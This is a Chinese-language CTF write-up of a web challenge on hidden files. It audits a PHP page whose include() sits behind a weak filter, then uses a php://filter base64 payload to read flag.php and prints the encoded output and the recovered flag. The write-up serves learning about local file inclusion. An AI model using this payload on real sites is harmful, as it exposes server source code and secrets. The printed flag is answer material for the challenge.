题目的名字就暗示我们考点文件隐藏
进入页面查看源码
得到隐藏的界面点击访问
点击给的“SECRET”按钮页面出现提示“没看清么?回去再仔细看看吧。”,说明响应的时间太快了,还没反应过来,于是我们想到使用burp suit进行抓包
图片中给了“secr3t.php”提示,于是我们转到提示的界面,进行php代码审计
<?php highlight_file(__FILE__); //file文件高亮 error_reporting(0); //关闭错误报告 $file=$_GET['file']; //定义file传送方式为GET if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ //strstr:找到第一次字符串“../”,“tp”,“input“,”data“输出的位置,并输出之后的字符串。说明存在file文件的过滤 echo "Oh no!"; exit(); } include($file); //包括文件 //flag放在了flag.php里 ?>
进入提示的”flag.php“界面(估计不会这么简单出现flag~QAQ)
页面源码没有任何php暗示,但是页面的提示已经说明flag在页面里。这个时候在已经经过代码审计的我们该想到”secr3t.php“的文件过滤(结合题目)与此有关。
我们利用php://fileter伪协议来构造playload经行获取文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
php://fileter伪协议Base64加密用法如下
?file=php://filter/read=convert.base64-encode/resource=http://example.com
注意到页面下面出现一串Base64位的字符编码
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NTVhNGQzNjMtZjk4OC00ODRkLTliOWYtZjYyODQ0ZTg3ZTllfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
进行Base64解码成功得到flag
flag
flag{55a4d363-f988-484d-9b9f-f62844e87e9e}
考点如下:
代码审计之文件过滤的常见函数
strstr函数:strstr() 函数搜索字符串在另一字符串中的第一次出现。
php://filter伪协议
没有哪篇有关filter伪协议的文章比p神写得更好了:https://www.leavesongs.com/PENETRATION/php-filter-magic.html